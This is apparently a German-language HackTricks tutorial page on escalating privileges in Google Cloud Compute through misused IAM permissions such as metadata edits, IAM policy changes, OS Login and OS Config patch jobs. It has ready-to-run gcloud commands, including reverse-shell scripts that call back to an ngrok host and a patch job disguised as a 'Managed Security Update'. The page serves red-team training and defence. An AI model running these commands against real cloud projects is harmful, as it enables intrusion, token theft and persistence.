GCP - Compute Privesc
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Compute
Für weitere Informationen zu Compute und VPC (Netzwerk) in GCP siehe:
caution
Beachte, dass du für die Durchführung aller Privilegieneskalationsangriffe, die eine Änderung der Metadaten der Instanz erfordern (wie das Hinzufügen neuer Benutzer und SSH-Schlüssel), actAs
-Berechtigungen über das an die Instanz angehängte SA benötigst, selbst wenn das SA bereits angehängt ist!
compute.projects.setCommonInstanceMetadata
Mit dieser Berechtigung kannst du die Metadaten-Informationen einer Instanz ändern und die autorisierte Schlüssel eines Benutzers ändern oder einen neuen Benutzer mit sudo-Berechtigungen erstellen. Daher wirst du in der Lage sein, über SSH in jede VM-Instanz zu exec und das GCP-Servicekonto zu stehlen, mit dem die Instanz läuft.
Einschränkungen:
- Beachte, dass GCP-Servicekonten, die standardmäßig in VM-Instanzen ausgeführt werden, einen sehr eingeschränkten Geltungsbereich haben
- Du musst in der Lage sein, den SSH-Server zu kontaktieren, um dich anzumelden
Für weitere Informationen darüber, wie du diese Berechtigung ausnutzen kannst, siehe:
Du könntest auch diesen Angriff durchführen, indem du ein neues Startup-Skript hinzufügst und die Instanz neu startest:
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
compute.instances.setMetadata
Diese Berechtigung gewährt die gleichen Privilegien wie die vorherige Berechtigung, jedoch für spezifische Instanzen anstelle eines gesamten Projekts. Die gleichen Exploits und Einschränkungen wie im vorherigen Abschnitt gelten.
compute.instances.setIamPolicy
Diese Art von Berechtigung ermöglicht es Ihnen, sich selbst eine Rolle mit den vorherigen Berechtigungen zu gewähren und Privilegien durch deren Missbrauch zu eskalieren. Hier ist ein Beispiel, wie roles/compute.admin
zu einem Dienstkonto hinzugefügt wird:
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
compute.instances.osLogin
Wenn OSLogin in der Instanz aktiviert ist, können Sie mit dieser Berechtigung einfach gcloud compute ssh [INSTANCE]
ausführen und sich mit der Instanz verbinden. Sie werden keine Root-Rechte innerhalb der Instanz haben.
tip
Um sich erfolgreich mit dieser Berechtigung innerhalb der VM-Instanz anzumelden, müssen Sie die Berechtigung iam.serviceAccounts.actAs
über das an die VM angehängte SA haben.
compute.instances.osAdminLogin
Wenn OSLogin in der Instanz aktiviert ist, können Sie mit dieser Berechtigung einfach gcloud compute ssh [INSTANCE]
ausführen und sich mit der Instanz verbinden. Sie werden Root-Rechte innerhalb der Instanz haben.
tip
Um sich erfolgreich mit dieser Berechtigung innerhalb der VM-Instanz anzumelden, müssen Sie die Berechtigung iam.serviceAccounts.actAs
über das an die VM angehängte SA haben.
compute.instances.create
,iam.serviceAccounts.actAs, compute.disks.create
, compute.instances.create
, compute.instances.setMetadata
, compute.instances.setServiceAccount
, compute.subnetworks.use
, compute.subnetworks.useExternalIp
Es ist möglich, eine virtuelle Maschine mit einem zugewiesenen Service-Konto zu erstellen und das Token des Service-Kontos zu stehlen, indem man auf die Metadaten zugreift, um die Berechtigungen zu eskalieren.
Das Exploit-Skript für diese Methode finden Sie hier.
osconfig.patchDeployments.create
| osconfig.patchJobs.exec
Wenn Sie die Berechtigungen osconfig.patchDeployments.create
oder osconfig.patchJobs.exec
haben, können Sie einen Patch-Job oder eine Bereitstellung erstellen. Dies ermöglicht es Ihnen, lateral in der Umgebung zu bewegen und Codeausführung auf allen Compute-Instanzen innerhalb eines Projekts zu erlangen.
Beachten Sie, dass Sie im Moment keine actAs
-Berechtigung über das an die Instanz angehängte SA benötigen.
Wenn Sie dies manuell ausnutzen möchten, müssen Sie entweder einen Patch-Job oder eine Bereitstellung** erstellen.**
Führen Sie für einen Patch-Job aus:
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
Um ein Patch-Deployment bereitzustellen:
gcloud compute os-config patch-deployments create <name> ...
Das Tool patchy konnte in der Vergangenheit für das Ausnutzen dieser Fehlkonfiguration verwendet werden (aber jetzt funktioniert es nicht mehr).
Ein Angreifer könnte dies auch für Persistenz ausnutzen.
compute.machineImages.setIamPolicy
Gewähren Sie sich zusätzliche Berechtigungen für das Compute-Image.
compute.snapshots.setIamPolicy
Gewähren Sie sich zusätzliche Berechtigungen für einen Festplattensnapshot.
compute.disks.setIamPolicy
Gewähren Sie sich zusätzliche Berechtigungen für eine Festplatte.
Umgehung von Zugriffsberechtigungen
Folgen Sie diesem Link, um einige Ideen zur Umgehung von Zugriffsberechtigungen zu finden.
Lokale Privilegieneskalation in GCP Compute-Instanz
GCP - local privilege escalation ssh pivoting
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.